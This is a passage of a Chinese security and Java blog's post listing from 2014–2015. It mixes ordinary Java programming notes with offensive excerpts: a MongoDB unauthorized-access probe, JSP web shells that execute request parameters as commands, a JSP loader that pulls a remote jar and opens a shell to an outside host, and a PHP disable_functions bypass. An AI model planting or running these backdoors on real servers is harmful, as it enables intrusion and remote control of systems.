2015-01-03 12:28:28

子域名Top 3000

mysql> select SUBSTR(domain,1,LOCATE('.',domain)-1) pre,count(*) c from sys_domain where parent_id > 0 group by pre order by c desc limit 0,3000; +----------------+---------+ | pre | c | +----------------+---------+ | www | 1024282 | | mail | 451476 | | ftp | 187225 | | smtp | 169424 | | pop | 140343 | | m | 79738 | | webmail | 76103 | | pop3 | 56713 | | imap | 45873 | | localhost | 44444 | | autodiscover | 39349 | | admin | 34667 | | b

2014-12-21 23:55:56

Mongodb未授权访问

Mongodb默认不需要配置auth导致未授权访问问题令人堪忧。 前年的时候写了个Mongodb未授权扫描工具发现了一些企业Mongodb未授权访问问题(测试发现包括一些游戏厂商),但在数量上还不太严重。 近期Mongodb问题越演越烈,上周对10812个国内IP进行探测时候发现了接近4000个未授权访问IP。 漏洞验证方法: 利用mongo-java-driver-2.12.4.jar MongoClient client = new MongoClient(host,port); 或: private boolean loginTest(String host,int timeout){ try { byte[] b = new byte[]{0x3f,0x00,0x00,0x00,(byte) 0x97,0x75,(byte) 0xbc,0x60,(byte) 0xff,(byte) 0xff,(byte) 0xff,(byte) 0xff,(byte) 0xd4,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x61,0x64,0x6d,0x69,0x6e,0x2e,0x24,0x63,0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x18,0x00,0x00,0

2014-12-17 17:26:14

jsp小后门

一:执行系统命令: 无回显执行系统命令: <%Runtime.getRuntime().exec(request.getParameter("i"));%> 请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显,用来反弹个shell很方便。 有回显带密码验证的: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(" "); while((a=in.read(b))!=-1){ out.println(new String(b,0,a)); } out.print(" "); } %> 请求:http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i

2014-12-16 23:14:28

RSyntaxTextArea 在OS X下 css背景渲染速度非常慢的bug

很久就发现了一个RSyntaxTextArea在OS X下加载某些脚本文件的时候非常卡,不知道是什么原因。最近终于忍无可忍了跑去问了下RSyntaxTextArea作者得知这个bug已经在RSyntaxTextArea的最新版修复了。 问题大概发生的情况是:setSyntaxEditingStyle为SYNTAX_STYLE_JSP,然后jsp当中包含了如下css样式字符串如: body {background-color: #ffffff;color: #000000;} body {background-color: #ffffff;color: #000000;} body {background-color: #ffffff;color: #000000;} body {background-color: #ffffff;color: #000000;} body {background-color: #ffffff;color: #000000;} body {background-color: #ffffff;color: #000000;} body {background-color: #ffffff;color: #000000;} body {background-color: #ffffff;color: #000000;} body {bac

2014-12-07 16:20:20

UCanAccess连接Access数据库

Access_JDBC30是跨平台连接access最适合的jar但收费非常的贵,Access_JDBC30的免费版有查询50次、数据小于1000的限制。UCanAccess也提供了数据连接功能,可以比较方便的读写access数据库。UCanAccess自身依赖几个jar包,比如核心的:jackcess-2.0.6.jar ,Jackcess 是一个Java 类库,用来读写微软的Access 数据库。如果设置了hsqldb,那么将会在内存中加载. 默认=true. 快速入门:http://ucanaccess.sourceforge.net/site.html 依赖包: commons-lang-2.6.jar commons-logging-1.1.1.jar hsqldb.jar jackcess-2.0.6.jar ucanaccess-2.0.9.2.jar 下载地址:UCanAccess-2.0.9.2-bin.zip 连接方式如下: import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.Statement; import java.util.logging.Level; import java.util.logging.Lo

2014-12-01 16:50:28

java.text.MessageFormat.format

public class MessageFormat extends Format MessageFormat 提供了以与语言无关方式生成连接消息的方式。使用此方法构造向终端用户显示的消息。 MessageFormat 获取一组对象,格式化这些对象,然后将格式化后的字符串插入到模式中的适当位置。 注:MessageFormat 不同于其他 Format 类,因为 MessageFormat 对象是用其构造方法之一创建的(而不是使用 getInstance 样式的工厂方法创建的)。工厂方法不是必需的,因为 MessageFormat 本身不实现特定于语言环境的行为。特定于语言环境的行为是由所提供的模式和用于已插入参数的子格式来定义的。 public class Test { public static void main(String[] args) { String key="好好{0}习,天天{1}上."; String result=java.text.MessageFormat.format(key,new Object[]{"学","向"}); System.out.println(result); } } 输出:好好学习,天天向上.

2014-11-29 23:55:07

JTabbedPane 监听tab选中改变事件

利用的是javax.swing.event.ChangeListener,原文Listening for Selected Tab Changes。实现方式都是callback,不过在实际当中为了方便我选择了自己写callback。 import java.awt.BorderLayout; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JTabbedPane; import javax.swing.event.ChangeEvent; import javax.swing.event.ChangeListener; public class TabSample { static void add(JTabbedPane tabbedPane, String label) { JButton button = new JButton(label); tabbedPane.addTab(label, button); } public static void main(String args[]) { JFrame frame = new JFrame("Tabbed Pane Sample"); frame.setDefaultCloseO

2014-11-29 22:13:16

jsp 反射

参数只实现了String和int,Cat.jar http://localhost:8080/cat.jsp?url=http://javaweb.org/Cat.jar&class=Cat&method=exec&methodParameterClass=java.lang.String&parameter=whoami http://localhost:8080/cat.jsp?url=http://javaweb.org/Cat.jar&class=Cat&method=shell&methodParameterClass=java.lang.String&methodParameterClass=int&parameter=p2j.cn&parameter=9527 <% java.net.URLClassLoader ucl = new java.net.URLClassLoader(new java.net.URL[] {new java.net.URL(request.getParameter("url")) }); Class c = Class.forName(request.getParameter("class"),true,ucl

2014-11-24 11:21:14

[zone-phith0n]PHP 绕过Disable_functions执行命令

FROM:http://zone.wooyun.org/content/16631 先简单说一下php调用mail()函数的过程。 看到源码ext/mail.c 236行: char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; 从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的: ; For Unix only. You may supply arguments as well (default: "sendmail -t -i"). ;sendmail_path = 注释中可以看到,send_mail默认值为"sendmail -t -i". extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。 如下: if (!sendmail_path) { #if (defined PHP_WIN32 || defined NETWARE) /* handle old style win smt

2014-11-20 20:34:20

BurpSuite 扩展开发[1]-API与HelloWold

0x00 简介 BurpSuite神器这些年非常的受大家欢迎,在国庆期间解了下Burp相关开发并写了这篇笔记。希望和大家分享一下JavaSwing和Burp插件相关开发。第一节仅简单的了解下API相关,后面会带着大家利用Netbeans开发我们自己的扩展以及各种有趣的小工具。 0x01 怎么学? 第一个问题是我们应该怎么去写自己的Burp扩展?我们可以找一些现有的扩展学习下,或者参阅官方文档或者手册,其次才是google一下是否有相关的教程、文章进行学习。 google搜索:burp suite api,找到官方的API相关说明。 http://portswigger.net/burp/extender/ http://blog.portswigger.net/2012/12/draft-new-extensibility-api.html You can: 执行和修改 HTTP 请求和响应 访问运行时的数据,比如:代理日志、目标站map和扫描问题 启动自己的action,如扫描和网站爬行 自定义扫描检测和注册扫描问题 提供自定义Intruder payloads和payload处理 查询和更新Suite-wide的目标作用域 查询和更新session处理cookie jar 实现自定义session处理action 添加自定义的标签(tabs)和上下文菜单项到Burp 用户界面